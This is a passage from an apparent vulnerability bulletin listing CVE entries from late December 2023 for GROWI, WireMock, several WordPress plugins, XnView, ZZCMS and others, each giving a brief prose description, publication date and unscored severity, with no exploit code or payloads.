weseek,_inc. — growiStored cross-site scripting vulnerability when processing the MathJax exists in GROWI versions prior to v6.0.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.2023-12-26not yet calculatedCVE-2023-49807
[email protected]
[email protected]
weseek,_inc. — growiStored cross-site scripting vulnerability exists in the App Settings (/admin/app) page, the Markdown Settings (/admin/markdown) page, and the Customize (/admin/customize) page of GROWI versions prior to v6.0.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.2023-12-26not yet calculatedCVE-2023-50175
[email protected]
[email protected]
weseek,_inc. — growiThe App Settings (/admin/app) page in GROWI versions prior to v6.0.6 stores sensitive information in cleartext form. As a result, the Secret access key for external service may be obtained by an attacker who can access the App Settings page.2023-12-26not yet calculatedCVE-2023-50294
[email protected]
[email protected]
weseek,_inc. — growiImproper authorization vulnerability exists in the User Management (/admin/users) page of GROWI versions prior to v6.0.6. If this vulnerability is exploited, a user may delete or suspend its own account without the user’s intention.2023-12-26not yet calculatedCVE-2023-50332
[email protected]
[email protected]
weseek,_inc. — growiStored cross-site scripting vulnerability exists in the User Management (/admin/users) page of GROWI versions prior to v6.1.11. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.2023-12-26not yet calculatedCVE-2023-50339
[email protected]
[email protected]
wiremock — wiremockWireMock with GUI versions 3.2.0.0 through 3.0.4.0 are vulnerable to stored cross-site scripting (SXSS) through the recording feature. An attacker can host a malicious payload and perform a test mapping pointing to the attacker’s file, and the result will render on the Matched page in the Body area, resulting in the execution of the payload. This occurs because the response body is not validated or sanitized.2023-12-29not yet calculatedCVE-2023-50069
[email protected]
wolters_kluwer — b.pointOn a Wolters Kluwer B.POINT 23.70.00 server running Linux on premises, during the authentication phase, a validated system user can achieve remote code execution via Argument Injection in the server-to-server module.2023-12-25not yet calculatedCVE-2023-49328
[email protected]
wordpress — wordpressThe WP Sessions Time Monitoring Full Automatic WordPress plugin before 1.0.9 does not sanitize the request URL or query parameters before using them in an SQL query, allowing unauthenticated attackers to extract sensitive data from the database via blind time based SQL injection techniques, or in some cases an error/union based technique.2023-12-26not yet calculatedCVE-2023-5203
[email protected]
wordpress — wordpressThe WP Mail Log WordPress plugin before 1.1.3 does not correctly authorize its REST API endpoints, allowing users with the Contributor role to view and delete data that should only be accessible to Admin users.2023-12-26not yet calculatedCVE-2023-5644
[email protected]
wordpress — wordpressThe WP Mail Log WordPress plugin before 1.1.3 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as Contributor.2023-12-26not yet calculatedCVE-2023-5645
[email protected]
wordpress — wordpressThe WP Mail Log WordPress plugin before 1.1.3 does not properly validate file path parameters when attaching files to emails, leading to local file inclusion, and allowing an attacker to leak the contents of arbitrary files.2023-12-26not yet calculatedCVE-2023-5672
[email protected]
wordpress — wordpressThe WP Mail Log WordPress plugin before 1.1.3 does not properly validate file extensions uploading files to attach to emails, allowing attackers to upload PHP files, leading to remote code execution.2023-12-26not yet calculatedCVE-2023-5673
[email protected]
wordpress — wordpressThe WP Mail Log WordPress plugin before 1.1.3 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as Contributor.2023-12-26not yet calculatedCVE-2023-5674
[email protected]
wordpress — wordpressThe rtMedia for WordPress, BuddyPress and bbPress WordPress plugin before 4.6.16 does not validate files to be uploaded, which could allow attackers with a low-privilege account (e.g. subscribers) to upload arbitrary files such as PHP on the server.2023-12-26not yet calculatedCVE-2023-5931
[email protected]
wordpress — wordpressThe rtMedia for WordPress, BuddyPress and bbPress WordPress plugin before 4.6.16 loads the contents of the import file in an unsafe manner, leading to remote code execution by privileged users.2023-12-26not yet calculatedCVE-2023-5939
[email protected]
wordpress — wordpressThe BSK Forms Blacklist WordPress plugin before 3.7 does not sanitize and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).2023-12-26not yet calculatedCVE-2023-5980
[email protected]
wordpress — wordpressThe Hotel Booking Lite WordPress plugin before 4.8.5 does not validate file paths provided via user input, as well as does not have proper CSRF and authorization checks, allowing unauthenticated users to download and delete arbitrary files on the server.2023-12-26not yet calculatedCVE-2023-5991
[email protected]
wordpress — wordpressThe Duplicator WordPress plugin before 1.5.7.1, Duplicator Pro WordPress plugin before 4.5.14.2 does not disallow listing the `backups-dup-lite/tmp` directory (or the `backups-dup-pro/tmp` directory in the Pro version), which temporarily stores files containing sensitive data. When directory listing is enabled in the web server, this allows unauthenticated attackers to discover and access these sensitive files, which include a full database dump and a zip archive of the site.2023-12-26not yet calculatedCVE-2023-6114
[email protected]
[email protected]
wordpress — wordpressThe Quiz Maker WordPress plugin before 6.4.9.5 does not adequately authorize the `ays_quiz_author_user_search` AJAX action, allowing an unauthenticated attacker to perform a search for users of the system, ultimately leaking user email addresses.2023-12-26not yet calculatedCVE-2023-6155
[email protected]
wordpress — wordpressThe Quiz Maker WordPress plugin before 6.4.9.5 does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting2023-12-26not yet calculatedCVE-2023-6166
[email protected]
wordpress — wordpressThe BestWebSoft’s Like & Share WordPress plugin before 2.74 discloses the content of password protected posts to unauthenticated users via a meta tag2023-12-26not yet calculatedCVE-2023-6250
[email protected]
wordpress — wordpressThe JSON Content Importer WordPress plugin before 1.5.4 does not sanitize and escape the tab parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin2023-12-26not yet calculatedCVE-2023-6268
[email protected]
xenom_technologies — phone_dialer-voice_call_dialerAn issue in Xenom Technologies (sinous) Phone Dialer-voice Call Dialer v.1.2.5 allows an attacker to bypass intended access restrictions via interaction with com.funprime.calldialer.ui.activities.OutgoingActivity.2023-12-27not yet calculatedCVE-2023-49002
[email protected]
[email protected]
xiangshan — xiangshan
 
An issue was discovered in XiangShan v2.1, allows local attackers to obtain sensitive information via the L1D cache.2023-12-30not yet calculatedCVE-2023-50559
[email protected]
[email protected]
xnview — classic_for_windowsXnView Classic before 2.51.3 on Windows has a Write Access Violation at xnview.exe+0x3ADBD0.2023-12-29not yet calculatedCVE-2023-52173
[email protected]
[email protected]
xnview — classic_for_windowsXnView Classic before 2.51.3 on Windows has a Write Access Violation at xnview.exe+0x3125D6.2023-12-29not yet calculatedCVE-2023-52174
[email protected]
[email protected]
youloft_holding_group_co. — perpetual_calendarAn issue in the openFile method of Chinese Perpetual Calendar v9.0.0 allows attackers to read any file via unspecified vectors.2023-12-28not yet calculatedCVE-2023-51006
[email protected]
zzcms — zzcmsZZCMS 2023 has a file upload vulnerability in 3/E_bak5.1/upload/index.php, allowing attackers to exploit this loophole to gain server privileges and execute arbitrary code.2023-12-29not yet calculatedCVE-2023-50104
[email protected]

Back to top

A considerable amount of time and effort goes into maintaining this website, creating backend automation and creating new features and content for you to make actionable intelligence decisions. Everyone that supports the site helps enable new functionality.

If you like the site, please support us on “Patreon” or “Buy Me A Coffee” using the buttons below

To keep up to date follow us on the below channels.